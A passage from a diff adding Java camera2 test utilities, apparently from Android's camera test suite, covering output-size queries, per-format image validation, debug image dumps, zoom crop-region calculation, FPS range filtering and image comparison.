+                assertEquals("YUV420 format Images should have 3 planes", 3, planes.length);
+                break;
+            case ImageFormat.JPEG:
+            case ImageFormat.RAW_SENSOR:
+            case ImageFormat.RAW_PRIVATE:
+            case ImageFormat.DEPTH16:
+            case ImageFormat.DEPTH_POINT_CLOUD:
+                assertEquals("JPEG/RAW/depth Images should have one plane", 1, planes.length);
+                break;
+            default:
+                fail("Unsupported Image Format: " + format);
+        }
+    }
+
+    public static void dumpFile(String fileName, Bitmap data) {
+        FileOutputStream outStream;
+        try {
+            Log.v(TAG, "output will be saved as " + fileName);
+            outStream = new FileOutputStream(fileName);
+        } catch (IOException ioe) {
+            throw new RuntimeException("Unable to create debug output file " + fileName, ioe);
+        }
+
+        try {
+            data.compress(Bitmap.CompressFormat.JPEG, /*quality*/90, outStream);
+            outStream.close();
+        } catch (IOException ioe) {
+            throw new RuntimeException("failed writing data to file " + fileName, ioe);
+        }
+    }
+
+    public static void dumpFile(String fileName, byte[] data) {
+        FileOutputStream outStream;
+        try {
+            Log.v(TAG, "output will be saved as " + fileName);
+            outStream = new FileOutputStream(fileName);
+        } catch (IOException ioe) {
+            throw new RuntimeException("Unable to create debug output file " + fileName, ioe);
+        }
+
+        try {
+            outStream.write(data);
+            outStream.close();
+        } catch (IOException ioe) {
+            throw new RuntimeException("failed writing data to file " + fileName, ioe);
+        }
+    }
+
+    /**
+     * Get the available output sizes for the user-defined {@code format}.
+     *
+     * <p>Note that implementation-defined/hidden formats are not supported.</p>
+     */
+    public static Size[] getSupportedSizeForFormat(int format, String cameraId,
+            CameraManager cameraManager) throws CameraAccessException {
+        CameraCharacteristics properties = cameraManager.getCameraCharacteristics(cameraId);
+        assertNotNull("Can't get camera characteristics!", properties);
+        if (VERBOSE) {
+            Log.v(TAG, "get camera characteristics for camera: " + cameraId);
+        }
+        StreamConfigurationMap configMap =
+                properties.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
+        Size[] availableSizes = configMap.getOutputSizes(format);
+        assertArrayNotEmpty(availableSizes, "availableSizes should not be empty for format: "
+                + format);
+        Size[] highResAvailableSizes = configMap.getHighResolutionOutputSizes(format);
+        if (highResAvailableSizes != null && highResAvailableSizes.length > 0) {
+            Size[] allSizes = new Size[availableSizes.length + highResAvailableSizes.length];
+            System.arraycopy(availableSizes, 0, allSizes, 0,
+                    availableSizes.length);
+            System.arraycopy(highResAvailableSizes, 0, allSizes, availableSizes.length,
+                    highResAvailableSizes.length);
+            availableSizes = allSizes;
+        }
+        if (VERBOSE) Log.v(TAG, "Supported sizes are: " + Arrays.deepToString(availableSizes));
+        return availableSizes;
+    }
+
+    /**
+     * Get the available output sizes for the given class.
+     *
+     */
+    public static Size[] getSupportedSizeForClass(Class klass, String cameraId,
+            CameraManager cameraManager) throws CameraAccessException {
+        CameraCharacteristics properties = cameraManager.getCameraCharacteristics(cameraId);
+        assertNotNull("Can't get camera characteristics!", properties);
+        if (VERBOSE) {
+            Log.v(TAG, "get camera characteristics for camera: " + cameraId);
+        }
+        StreamConfigurationMap configMap =
+                properties.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
+        Size[] availableSizes = configMap.getOutputSizes(klass);
+        assertArrayNotEmpty(availableSizes, "availableSizes should not be empty for class: "
+                + klass);
+        Size[] highResAvailableSizes = configMap.getHighResolutionOutputSizes(ImageFormat.PRIVATE);
+        if (highResAvailableSizes != null && highResAvailableSizes.length > 0) {
+            Size[] allSizes = new Size[availableSizes.length + highResAvailableSizes.length];
+            System.arraycopy(availableSizes, 0, allSizes, 0,
+                    availableSizes.length);
+            System.arraycopy(highResAvailableSizes, 0, allSizes, availableSizes.length,
+                    highResAvailableSizes.length);
+            availableSizes = allSizes;
+        }
+        if (VERBOSE) Log.v(TAG, "Supported sizes are: " + Arrays.deepToString(availableSizes));
+        return availableSizes;
+    }
+
+    /**
+     * Size comparator that compares the number of pixels it covers.
+     *
+     * <p>If two the areas of two sizes are same, compare the widths.</p>
+     */
+    public static class SizeComparator implements Comparator<Size> {
+        @Override
+        public int compare(Size lhs, Size rhs) {
+            return CameraUtils
+                    .compareSizes(lhs.getWidth(), lhs.getHeight(), rhs.getWidth(), rhs.getHeight());
+        }
+    }
+
+    /**
+     * Get sorted size list in descending order. Remove the sizes larger than
+     * the bound. If the bound is null, don't do the size bound filtering.
+     */
+    static public List<Size> getSupportedPreviewSizes(String cameraId,
+            CameraManager cameraManager, Size bound) throws CameraAccessException {
+
+        Size[] rawSizes = getSupportedSizeForClass(android.view.SurfaceHolder.class, cameraId,
+                cameraManager);
+        assertArrayNotEmpty(rawSizes,
+                "Available sizes for SurfaceHolder class should not be empty");
+        if (VERBOSE) {
+            Log.v(TAG, "Supported sizes are: " + Arrays.deepToString(rawSizes));
+        }
+
+        if (bound == null) {
+            return getAscendingOrderSizes(Arrays.asList(rawSizes), /*ascending*/false);
+        }
+
+        List<Size> sizes = new ArrayList<Size>();
+        for (Size sz: rawSizes) {
+            if (sz.getWidth() <= bound.getWidth() && sz.getHeight() <= bound.getHeight()) {
+                sizes.add(sz);
+            }
+        }
+        return getAscendingOrderSizes(sizes, /*ascending*/false);
+    }
+
+    /**
+     * Get a sorted list of sizes from a given size list.
+     *
+     * <p>
+     * The size is compare by area it covers, if the areas are same, then
+     * compare the widths.
+     * </p>
+     *
+     * @param sizeList The input size list to be sorted
+     * @param ascending True if the order is ascending, otherwise descending order
+     * @return The ordered list of sizes
+     */
+    static public List<Size> getAscendingOrderSizes(final List<Size> sizeList, boolean ascending) {
+        if (sizeList == null) {
+            throw new IllegalArgumentException("sizeList shouldn't be null");
+        }
+
+        Comparator<Size> comparator = new SizeComparator();
+        List<Size> sortedSizes = new ArrayList<Size>();
+        sortedSizes.addAll(sizeList);
+        Collections.sort(sortedSizes, comparator);
+        if (!ascending) {
+            Collections.reverse(sortedSizes);
+        }
+
+        return sortedSizes;
+    }
+
+    /**
+     * Get sorted (descending order) size list for given format. Remove the sizes larger than
+     * the bound. If the bound is null, don't do the size bound filtering.
+     */
+    static public List<Size> getSortedSizesForFormat(String cameraId,
+            CameraManager cameraManager, int format, Size bound) throws CameraAccessException {
+        Comparator<Size> comparator = new SizeComparator();
+        Size[] sizes = getSupportedSizeForFormat(format, cameraId, cameraManager);
+        List<Size> sortedSizes = null;
+        if (bound != null) {
+            sortedSizes = new ArrayList<Size>(/*capacity*/1);
+            for (Size sz : sizes) {
+                if (comparator.compare(sz, bound) <= 0) {
+                    sortedSizes.add(sz);
+                }
+            }
+        } else {
+            sortedSizes = Arrays.asList(sizes);
+        }
+        assertTrue("Supported size list should have at least one element",
+                sortedSizes.size() > 0);
+
+        Collections.sort(sortedSizes, comparator);
+        // Make it in descending order.
+        Collections.reverse(sortedSizes);
+        return sortedSizes;
+    }
+
+    /**
+     * Get supported video size list for a given camera device.
+     *
+     * <p>
+     * Filter out the sizes that are larger than the bound. If the bound is
+     * null, don't do the size bound filtering.
+     * </p>
+     */
+    static public List<Size> getSupportedVideoSizes(String cameraId,
+            CameraManager cameraManager, Size bound) throws CameraAccessException {
+
+        Size[] rawSizes = getSupportedSizeForClass(android.media.MediaRecorder.class,
+                cameraId, cameraManager);
+        assertArrayNotEmpty(rawSizes,
+                "Available sizes for MediaRecorder class should not be empty");
+        if (VERBOSE) {
+            Log.v(TAG, "Supported sizes are: " + Arrays.deepToString(rawSizes));
+        }
+
+        if (bound == null) {
+            return getAscendingOrderSizes(Arrays.asList(rawSizes), /*ascending*/false);
+        }
+
+        List<Size> sizes = new ArrayList<Size>();
+        for (Size sz: rawSizes) {
+            if (sz.getWidth() <= bound.getWidth() && sz.getHeight() <= bound.getHeight()) {
+                sizes.add(sz);
+            }
+        }
+        return getAscendingOrderSizes(sizes, /*ascending*/false);
+    }
+
+    /**
+     * Get supported video size list (descending order) for a given camera device.
+     *
+     * <p>
+     * Filter out the sizes that are larger than the bound. If the bound is
+     * null, don't do the size bound filtering.
+     * </p>
+     */
+    static public List<Size> getSupportedStillSizes(String cameraId,
+            CameraManager cameraManager, Size bound) throws CameraAccessException {
+        return getSortedSizesForFormat(cameraId, cameraManager, ImageFormat.JPEG, bound);
+    }
+
+    static public Size getMinPreviewSize(String cameraId, CameraManager cameraManager)
+            throws CameraAccessException {
+        List<Size> sizes = getSupportedPreviewSizes(cameraId, cameraManager, null);
+        return sizes.get(sizes.size() - 1);
+    }
+
+    /**
+     * Get max supported preview size for a camera device.
+     */
+    static public Size getMaxPreviewSize(String cameraId, CameraManager cameraManager)
+            throws CameraAccessException {
+        return getMaxPreviewSize(cameraId, cameraManager, /*bound*/null);
+    }
+
+    /**
+     * Get max preview size for a camera device in the supported sizes that are no larger
+     * than the bound.
+     */
+    static public Size getMaxPreviewSize(String cameraId, CameraManager cameraManager, Size bound)
+            throws CameraAccessException {
+        List<Size> sizes = getSupportedPreviewSizes(cameraId, cameraManager, bound);
+        return sizes.get(0);
+    }
+
+    /**
+     * Get max depth size for a camera device.
+     */
+    static public Size getMaxDepthSize(String cameraId, CameraManager cameraManager)
+            throws CameraAccessException {
+        List<Size> sizes = getSortedSizesForFormat(cameraId, cameraManager, ImageFormat.DEPTH16,
+                /*bound*/ null);
+        return sizes.get(0);
+    }
+
+    /**
+     * Get the largest size by area.
+     *
+     * @param sizes an array of sizes, must have at least 1 element
+     *
+     * @return Largest Size
+     *
+     * @throws IllegalArgumentException if sizes was null or had 0 elements
+     */
+    public static Size getMaxSize(Size... sizes) {
+        if (sizes == null || sizes.length == 0) {
+            throw new IllegalArgumentException("sizes was empty");
+        }
+
+        Size sz = sizes[0];
+        for (Size size : sizes) {
+            if (size.getWidth() * size.getHeight() > sz.getWidth() * sz.getHeight()) {
+                sz = size;
+            }
+        }
+
+        return sz;
+    }
+
+    /**
+     * Returns true if the given {@code array} contains the given element.
+     *
+     * @param array {@code array} to check for {@code elem}
+     * @param elem {@code elem} to test for
+     * @return {@code true} if the given element is contained
+     */
+    public static boolean contains(int[] array, int elem) {
+        if (array == null) return false;
+        for (int i = 0; i < array.length; i++) {
+            if (elem == array[i]) return true;
+        }
+        return false;
+    }
+
+    /**
+     * Get object array from byte array.
+     *
+     * @param array Input byte array to be converted
+     * @return Byte object array converted from input byte array
+     */
+    public static Byte[] toObject(byte[] array) {
+        return convertPrimitiveArrayToObjectArray(array, Byte.class);
+    }
+
+    /**
+     * Get object array from int array.
+     *
+     * @param array Input int array to be converted
+     * @return Integer object array converted from input int array
+     */
+    public static Integer[] toObject(int[] array) {
+        return convertPrimitiveArrayToObjectArray(array, Integer.class);
+    }
+
+    /**
+     * Get object array from float array.
+     *
+     * @param array Input float array to be converted
+     * @return Float object array converted from input float array
+     */
+    public static Float[] toObject(float[] array) {
+        return convertPrimitiveArrayToObjectArray(array, Float.class);
+    }
+
+    /**
+     * Get object array from double array.
+     *
+     * @param array Input double array to be converted
+     * @return Double object array converted from input double array
+     */
+    public static Double[] toObject(double[] array) {
+        return convertPrimitiveArrayToObjectArray(array, Double.class);
+    }
+
+    /**
+     * Convert a primitive input array into its object array version (e.g. from int[] to Integer[]).
+     *
+     * @param array Input array object
+     * @param wrapperClass The boxed class it converts to
+     * @return Boxed version of primitive array
+     */
+    private static <T> T[] convertPrimitiveArrayToObjectArray(final Object array,
+            final Class<T> wrapperClass) {
+        // getLength does the null check and isArray check already.
+        int arrayLength = Array.getLength(array);
+        if (arrayLength == 0) {
+            throw new IllegalArgumentException("Input array shouldn't be empty");
+        }
+
+        @SuppressWarnings("unchecked")
+        final T[] result = (T[]) Array.newInstance(wrapperClass, arrayLength);
+        for (int i = 0; i < arrayLength; i++) {
+            Array.set(result, i, Array.get(array, i));
+        }
+        return result;
+    }
+
+    /**
+     * Validate image based on format and size.
+     *
+     * @param image The image to be validated.
+     * @param width The image width.
+     * @param height The image height.
+     * @param format The image format.
+     * @param filePath The debug dump file path, null if don't want to dump to
+     *            file.
+     * @throws UnsupportedOperationException if calling with an unknown format
+     */
+    public static void validateImage(Image image, int width, int height, int format,
+            String filePath) {
+        checkImage(image, width, height, format);
+
+        /**
+         * TODO: validate timestamp:
+         * 1. capture result timestamp against the image timestamp (need
+         * consider frame drops)
+         * 2. timestamps should be monotonically increasing for different requests
+         */
+        if(VERBOSE) Log.v(TAG, "validating Image");
+        byte[] data = getDataFromImage(image);
+        assertTrue("Invalid image data", data != null && data.length > 0);
+
+        switch (format) {
+            case ImageFormat.JPEG:
+                validateJpegData(data, width, height, filePath);
+                break;
+            case ImageFormat.YUV_420_888:
+            case ImageFormat.YV12:
+                validateYuvData(data, width, height, format, image.getTimestamp(), filePath);
+                break;
+            case ImageFormat.RAW_SENSOR:
+                validateRaw16Data(data, width, height, format, image.getTimestamp(), filePath);
+                break;
+            case ImageFormat.DEPTH16:
+                validateDepth16Data(data, width, height, format, image.getTimestamp(), filePath);
+                break;
+            case ImageFormat.DEPTH_POINT_CLOUD:
+                validateDepthPointCloudData(data, width, height, format, image.getTimestamp(), filePath);
+                break;
+            case ImageFormat.RAW_PRIVATE:
+                validateRawPrivateData(data, width, height, image.getTimestamp(), filePath);
+                break;
+            default:
+                throw new UnsupportedOperationException("Unsupported format for validation: "
+                        + format);
+        }
+    }
+
+    /**
+     * Provide a mock for {@link CameraDevice.StateCallback}.
+     *
+     * <p>Only useful because mockito can't mock {@link CameraDevice.StateCallback} which is an
+     * abstract class.</p>
+     *
+     * <p>
+     * Use this instead of other classes when needing to verify interactions, since
+     * trying to spy on {@link BlockingStateCallback} (or others) will cause unnecessary extra
+     * interactions which will cause false test failures.
+     * </p>
+     *
+     */
+    public static class MockStateCallback extends CameraDevice.StateCallback {
+
+        @Override
+        public void onOpened(CameraDevice camera) {
+        }
+
+        @Override
+        public void onDisconnected(CameraDevice camera) {
+        }
+
+        @Override
+        public void onError(CameraDevice camera, int error) {
+        }
+
+        private MockStateCallback() {}
+
+        /**
+         * Create a Mockito-ready mocked StateCallback.
+         */
+        public static MockStateCallback mock() {
+            return Mockito.spy(new MockStateCallback());
+        }
+    }
+
+    private static void validateJpegData(byte[] jpegData, int width, int height, String filePath) {
+        BitmapFactory.Options bmpOptions = new BitmapFactory.Options();
+        // DecodeBound mode: only parse the frame header to get width/height.
+        // it doesn't decode the pixel.
+        bmpOptions.inJustDecodeBounds = true;
+        BitmapFactory.decodeByteArray(jpegData, 0, jpegData.length, bmpOptions);
+        assertEquals(width, bmpOptions.outWidth);
+        assertEquals(height, bmpOptions.outHeight);
+
+        // Pixel decoding mode: decode whole image. check if the image data
+        // is decodable here.
+        assertNotNull("Decoding jpeg failed",
+                BitmapFactory.decodeByteArray(jpegData, 0, jpegData.length));
+        if (DEBUG && filePath != null) {
+            String fileName =
+                    filePath + "/" + width + "x" + height + ".jpeg";
+            dumpFile(fileName, jpegData);
+        }
+    }
+
+    private static void validateYuvData(byte[] yuvData, int width, int height, int format,
+            long ts, String filePath) {
+        checkYuvFormat(format);
+        if (VERBOSE) Log.v(TAG, "Validating YUV data");
+        int expectedSize = width * height * ImageFormat.getBitsPerPixel(format) / 8;
+        assertEquals("Yuv data doesn't match", expectedSize, yuvData.length);
+
+        // TODO: Can add data validation for test pattern.
+
+        if (DEBUG && filePath != null) {
+            String fileName =
+                    filePath + "/" + width + "x" + height + "_" + ts / 1e6 + ".yuv";
+            dumpFile(fileName, yuvData);
+        }
+    }
+
+    private static void validateRaw16Data(byte[] rawData, int width, int height, int format,
+            long ts, String filePath) {
+        if (VERBOSE) Log.v(TAG, "Validating raw data");
+        int expectedSize = width * height * ImageFormat.getBitsPerPixel(format) / 8;
+        assertEquals("Raw data doesn't match", expectedSize, rawData.length);
+
+        // TODO: Can add data validation for test pattern.
+
+        if (DEBUG && filePath != null) {
+            String fileName =
+                    filePath + "/" + width + "x" + height + "_" + ts / 1e6 + ".raw16";
+            dumpFile(fileName, rawData);
+        }
+
+        return;
+    }
+
+    private static void validateRawPrivateData(byte[] rawData, int width, int height,
+            long ts, String filePath) {
+        if (VERBOSE) Log.v(TAG, "Validating private raw data");
+        // Expect each RAW pixel should occupy at least one byte and no more than 2.5 bytes
+        int expectedSizeMin = width * height;
+        int expectedSizeMax = width * height * 5 / 2;
+
+        assertTrue("Opaque RAW size " + rawData.length + "out of normal bound [" +
+                expectedSizeMin + "," + expectedSizeMax + "]",
+                expectedSizeMin <= rawData.length && rawData.length <= expectedSizeMax);
+
+        if (DEBUG && filePath != null) {
+            String fileName =
+                    filePath + "/" + width + "x" + height + "_" + ts / 1e6 + ".rawPriv";
+            dumpFile(fileName, rawData);
+        }
+
+        return;
+    }
+
+    private static void validateDepth16Data(byte[] depthData, int width, int height, int format,
+            long ts, String filePath) {
+
+        if (VERBOSE) Log.v(TAG, "Validating depth16 data");
+        int expectedSize = width * height * ImageFormat.getBitsPerPixel(format) / 8;
+        assertEquals("Depth data doesn't match", expectedSize, depthData.length);
+
+
+        if (DEBUG && filePath != null) {
+            String fileName =
+                    filePath + "/" + width + "x" + height + "_" + ts / 1e6 + ".depth16";
+            dumpFile(fileName, depthData);
+        }
+
+        return;
+
+    }
+
+    private static void validateDepthPointCloudData(byte[] depthData, int width, int height, int format,
+            long ts, String filePath) {
+
+        if (VERBOSE) Log.v(TAG, "Validating depth point cloud data");
+
+        // Can't validate size since it is variable
+
+        if (DEBUG && filePath != null) {
+            String fileName =
+                    filePath + "/" + width + "x" + height + "_" + ts / 1e6 + ".depth_point_cloud";
+            dumpFile(fileName, depthData);
+        }
+
+        return;
+
+    }
+
+    public static <T> T getValueNotNull(CaptureResult result, CaptureResult.Key<T> key) {
+        if (result == null) {
+            throw new IllegalArgumentException("Result must not be null");
+        }
+
+        T value = result.get(key);
+        assertNotNull("Value of Key " + key.getName() + "shouldn't be null", value);
+        return value;
+    }
+
+    public static <T> T getValueNotNull(CameraCharacteristics characteristics,
+            CameraCharacteristics.Key<T> key) {
+        if (characteristics == null) {
+            throw new IllegalArgumentException("Camera characteristics must not be null");
+        }
+
+        T value = characteristics.get(key);
+        assertNotNull("Value of Key " + key.getName() + "shouldn't be null", value);
+        return value;
+    }
+
+    /**
+     * Get a crop region for a given zoom factor and center position.
+     * <p>
+     * The center position is normalized position in range of [0, 1.0], where
+     * (0, 0) represents top left corner, (1.0. 1.0) represents bottom right
+     * corner. The center position could limit the effective minimal zoom
+     * factor, for example, if the center position is (0.75, 0.75), the
+     * effective minimal zoom position becomes 2.0. If the requested zoom factor
+     * is smaller than 2.0, a crop region with 2.0 zoom factor will be returned.
+     * </p>
+     * <p>
+     * The aspect ratio of the crop region is maintained the same as the aspect
+     * ratio of active array.
+     * </p>
+     *
+     * @param zoomFactor The zoom factor to generate the crop region, it must be
+     *            >= 1.0
+     * @param center The normalized zoom center point that is in the range of [0, 1].
+     * @param maxZoom The max zoom factor supported by this device.
+     * @param activeArray The active array size of this device.
+     * @return crop region for the given normalized center and zoom factor.
+     */
+    public static Rect getCropRegionForZoom(float zoomFactor, final PointF center,
+            final float maxZoom, final Rect activeArray) {
+        if (zoomFactor < 1.0) {
+            throw new IllegalArgumentException("zoom factor " + zoomFactor + " should be >= 1.0");
+        }
+        if (center.x > 1.0 || center.x < 0) {
+            throw new IllegalArgumentException("center.x " + center.x
+                    + " should be in range of [0, 1.0]");
+        }
+        if (center.y > 1.0 || center.y < 0) {
+            throw new IllegalArgumentException("center.y " + center.y
+                    + " should be in range of [0, 1.0]");
+        }
+        if (maxZoom < 1.0) {
+            throw new IllegalArgumentException("max zoom factor " + maxZoom + " should be >= 1.0");
+        }
+        if (activeArray == null) {
+            throw new IllegalArgumentException("activeArray must not be null");
+        }
+
+        float minCenterLength = Math.min(Math.min(center.x, 1.0f - center.x),
+                Math.min(center.y, 1.0f - center.y));
+        float minEffectiveZoom =  0.5f / minCenterLength;
+        if (minEffectiveZoom > maxZoom) {
+            throw new IllegalArgumentException("Requested center " + center.toString() +
+                    " has minimal zoomable factor " + minEffectiveZoom + ", which exceeds max"
+                            + " zoom factor " + maxZoom);
+        }
+
+        if (zoomFactor < minEffectiveZoom) {
+            Log.w(TAG, "Requested zoomFactor " + zoomFactor + " < minimal zoomable factor "
+                    + minEffectiveZoom + ". It will be overwritten by " + minEffectiveZoom);
+            zoomFactor = minEffectiveZoom;
+        }
+
+        int cropCenterX = (int)(activeArray.width() * center.x);
+        int cropCenterY = (int)(activeArray.height() * center.y);
+        int cropWidth = (int) (activeArray.width() / zoomFactor);
+        int cropHeight = (int) (activeArray.height() / zoomFactor);
+
+        return new Rect(
+                /*left*/cropCenterX - cropWidth / 2,
+                /*top*/cropCenterY - cropHeight / 2,
+                /*right*/ cropCenterX + cropWidth / 2 - 1,
+                /*bottom*/cropCenterY + cropHeight / 2 - 1);
+    }
+
+    /**
+     * Get AeAvailableTargetFpsRanges and sort them in descending order by max fps
+     *
+     * @param staticInfo camera static metadata
+     * @return AeAvailableTargetFpsRanges in descending order by max fps
+     */
+    public static Range<Integer>[] getDescendingTargetFpsRanges(StaticMetadata staticInfo) {
+        Range<Integer>[] fpsRanges = staticInfo.getAeAvailableTargetFpsRangesChecked();
+        Arrays.sort(fpsRanges, new Comparator<Range<Integer>>() {
+            public int compare(Range<Integer> r1, Range<Integer> r2) {
+                return r2.getUpper() - r1.getUpper();
+            }
+        });
+        return fpsRanges;
+    }
+
+    /**
+     * Get AeAvailableTargetFpsRanges with max fps not exceeding 30
+     *
+     * @param staticInfo camera static metadata
+     * @return AeAvailableTargetFpsRanges with max fps not exceeding 30
+     */
+    public static List<Range<Integer>> getTargetFpsRangesUpTo30(StaticMetadata staticInfo) {
+        Range<Integer>[] fpsRanges = staticInfo.getAeAvailableTargetFpsRangesChecked();
+        ArrayList<Range<Integer>> fpsRangesUpTo30 = new ArrayList<Range<Integer>>();
+        for (Range<Integer> fpsRange : fpsRanges) {
+            if (fpsRange.getUpper() <= 30) {
+                fpsRangesUpTo30.add(fpsRange);
+            }
+        }
+        return fpsRangesUpTo30;
+    }
+
+    /**
+     * Get AeAvailableTargetFpsRanges with max fps greater than 30
+     *
+     * @param staticInfo camera static metadata
+     * @return AeAvailableTargetFpsRanges with max fps greater than 30
+     */
+    public static List<Range<Integer>> getTargetFpsRangesGreaterThan30(StaticMetadata staticInfo) {
+        Range<Integer>[] fpsRanges = staticInfo.getAeAvailableTargetFpsRangesChecked();
+        ArrayList<Range<Integer>> fpsRangesGreaterThan30 = new ArrayList<Range<Integer>>();
+        for (Range<Integer> fpsRange : fpsRanges) {
+            if (fpsRange.getUpper() > 30) {
+                fpsRangesGreaterThan30.add(fpsRange);
+            }
+        }
+        return fpsRangesGreaterThan30;
+    }
+
+    /**
+     * Calculate output 3A region from the intersection of input 3A region and cropped region.
+     *
+     * @param requestRegions The input 3A regions
+     * @param cropRect The cropped region
+     * @return expected 3A regions output in capture result
+     */
+    public static MeteringRectangle[] getExpectedOutputRegion(
+            MeteringRectangle[] requestRegions, Rect cropRect){
+        MeteringRectangle[] resultRegions = new MeteringRectangle[requestRegions.length];
+        for (int i = 0; i < requestRegions.length; i++) {
+            Rect requestRect = requestRegions[i].getRect();
+            Rect resultRect = new Rect();
+            assertTrue("Input 3A region must intersect cropped region",
+                        resultRect.setIntersect(requestRect, cropRect));
+            resultRegions[i] = new MeteringRectangle(
+                    resultRect,
+                    requestRegions[i].getMeteringWeight());
+        }
+        return resultRegions;
+    }
+
+    /**
+     * Copy source image data to destination image.
+     *
+     * @param src The source image to be copied from.
+     * @param dst The destination image to be copied to.
+     * @throws IllegalArgumentException If the source and destination images have
+     *             different format, or one of the images is not copyable.
+     */
+    public static void imageCopy(Image src, Image dst) {
+        if (src == null || dst == null) {
+            throw new IllegalArgumentException("Images should be non-null");
+        }
+        if (src.getFormat() != dst.getFormat()) {
+            throw new IllegalArgumentException("Src and dst images should have the same format");
+        }
+        if (src.getFormat() == ImageFormat.PRIVATE ||
+                dst.getFormat() == ImageFormat.PRIVATE) {
+            throw new IllegalArgumentException("PRIVATE format images are not copyable");
+        }
+
+        // TODO: check the owner of the dst image, it must be from ImageWriter, other source may
+        // not be writable. Maybe we should add an isWritable() method in image class.
+
+        Plane[] srcPlanes = src.getPlanes();
+        Plane[] dstPlanes = dst.getPlanes();
+        ByteBuffer srcBuffer = null;
+        ByteBuffer dstBuffer = null;
+        for (int i = 0; i < srcPlanes.length; i++) {
+            srcBuffer = srcPlanes[i].getBuffer();
+            int srcPos = srcBuffer.position();
+            srcBuffer.rewind();
+            dstBuffer = dstPlanes[i].getBuffer();
+            dstBuffer.rewind();
+            dstBuffer.put(srcBuffer);
+            srcBuffer.position(srcPos);
+            dstBuffer.rewind();
+        }
+    }
+
+    /**
+     * <p>
+     * Checks whether the two images are strongly equal.
+     * </p>
+     * <p>
+     * Two images are strongly equal if and only if the data, formats, sizes,
+     * and timestamps are same. For {@link ImageFormat#PRIVATE PRIVATE} format
+     * images, the image data is not not accessible thus the data comparison is
+     * effectively skipped as the number of planes is zero.
+     * </p>
+     * <p>
+     * Note that this method compares the pixel data even outside of the crop
+     * region, which may not be necessary for general use case.
+     * </p>
+     *
+     * @param lhsImg First image to be compared with.
+     * @param rhsImg Second image to be compared with.
+     * @return true if the two images are equal, false otherwise.
+     * @throws IllegalArgumentException If either of image is null.
+     */
+    public static boolean isImageStronglyEqual(Image lhsImg, Image rhsImg) {
+        if (lhsImg == null || rhsImg == null) {
+            throw new IllegalArgumentException("Images should be non-null");
+        }
+
+        if (lhsImg.getFormat() != rhsImg.getFormat()) {
+            Log.i(TAG, "lhsImg format " + lhsImg.getFormat() + " is different with rhsImg format "
+                    + rhsImg.getFormat());
+            return false;
+        }
+
+        if (lhsImg.getWidth() != rhsImg.getWidth()) {
+            Log.i(TAG, "lhsImg width " + lhsImg.getWidth() + " is different with rhsImg width "
+                    + rhsImg.getWidth());
+            return false;
+        }
+
+        if (lhsImg.getHeight() != rhsImg.getHeight()) {
+            Log.i(TAG, "lhsImg height " + lhsImg.getHeight() + " is different with rhsImg height "
+                    + rhsImg.getHeight());
+            return false;
+        }
+
+        if (lhsImg.getTimestamp() != rhsImg.getTimestamp()) {
+            Log.i(TAG, "lhsImg timestamp " + lhsImg.getTimestamp()
+                    + " is different with rhsImg timestamp " + rhsImg.getTimestamp());
+            return false;
+        }
+
+        if (!lhsImg.getCropRect().equals(rhsImg.getCropRect())) {
+            Log.i(TAG, "lhsImg crop rect " + lhsImg.getCropRect()
+                    + " is different with rhsImg crop rect " + rhsImg.getCropRect());
+            return false;
+        }
+
+        // Compare data inside of the image.
+        Plane[] lhsPlanes = lhsImg.getPlanes();
+        Plane[] rhsPlanes = rhsImg.getPlanes();
+        ByteBuffer lhsBuffer = null;
+        ByteBuffer rhsBuffer = null;
+        for (int i = 0; i < lhsPlanes.length; i++) {
+            lhsBuffer = lhsPlanes[i].getBuffer();
+            rhsBuffer = rhsPlanes[i].getBuffer();
+            if (!lhsBuffer.equals(rhsBuffer)) {
+                Log.i(TAG, "byte buffers for plane " +  i + " don't matach.");
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    /**
+     * Set jpeg related keys in a capture request builder.
+     *
+     * @param builder The capture request builder to set the keys inl
+     * @param exifData The exif data to set.
+     * @param thumbnailSize The thumbnail size to set.
+     * @param collector The camera error collector to collect errors.
+     */
+    public static void setJpegKeys(CaptureRequest.Builder builder, ExifTestData exifData,
+            Size thumbnailSize, CameraErrorCollector collector) {
+        builder.set(CaptureRequest.JPEG_THUMBNAIL_SIZE, thumbnailSize);
+        builder.set(CaptureRequest.JPEG_GPS_LOCATION, exifData.gpsLocation);
+        builder.set(CaptureRequest.JPEG_ORIENTATION, exifData.jpegOrientation);
+        builder.set(CaptureRequest.JPEG_QUALITY, exifData.jpegQuality);
+        builder.set(CaptureRequest.JPEG_THUMBNAIL_QUALITY,
+                exifData.thumbnailQuality);
+
+        // Validate request set and get.
+        collector.expectEquals("JPEG thumbnail size request set and get should match",
+                thumbnailSize, builder.get(CaptureRequest.JPEG_THUMBNAIL_SIZE));
+        collector.expectTrue("GPS locations request set and get should match.",
+                areGpsFieldsEqual(exifData.gpsLocation,
+                builder.get(CaptureRequest.JPEG_GPS_LOCATION)));
+        collector.expectEquals("JPEG orientation request set and get should match",
+                exifData.jpegOrientation,
+                builder.get(CaptureRequest.JPEG_ORIENTATION));
+        collector.expectEquals("JPEG quality request set and get should match",
+                exifData.jpegQuality, builder.get(CaptureRequest.JPEG_QUALITY));
+        collector.expectEquals("JPEG thumbnail quality request set and get should match",
+                exifData.thumbnailQuality,
+                builder.get(CaptureRequest.JPEG_THUMBNAIL_QUALITY));
+    }
+
+    /**
+     * Simple validation of JPEG image size and format.
+     * <p>
+     * Only validate the image object sanity. It is fast, but doesn't actually
+     * check the buffer data. Assert is used here as it make no sense to
+     * continue the test if the jpeg image captured has some serious failures.
+     * </p>
+     *
+     * @param image The captured jpeg image
+     * @param expectedSize Expected capture jpeg size
+     */
+    public static void basicValidateJpegImage(Image image, Size expectedSize) {
+        Size imageSz = new Size(image.getWidth(), image.getHeight());
+        assertTrue(
+                String.format("Image size doesn't match (expected %s, actual %s) ",
+                        expectedSize.toString(), imageSz.toString()), expectedSize.equals(imageSz));
+        assertEquals("Image format should be JPEG", ImageFormat.JPEG, image.getFormat());
+        assertNotNull("Image plane shouldn't be null", image.getPlanes());
+        assertEquals("Image plane number should be 1", 1, image.getPlanes().length);
+
+        // Jpeg decoding validate was done in ImageReaderTest, no need to duplicate the test here.
+    }
+
+    /**
+     * Verify the JPEG EXIF and JPEG related keys in a capture result are expected.
+     * - Capture request get values are same as were set.
+     * - capture result's exif data is the same as was set by
+     *   the capture request.
+     * - new tags in the result set by the camera service are
+     *   present and semantically correct.
+     *
+     * @param image The output JPEG image to verify.
+     * @param captureResult The capture result to verify.
+     * @param expectedSize The expected JPEG size.
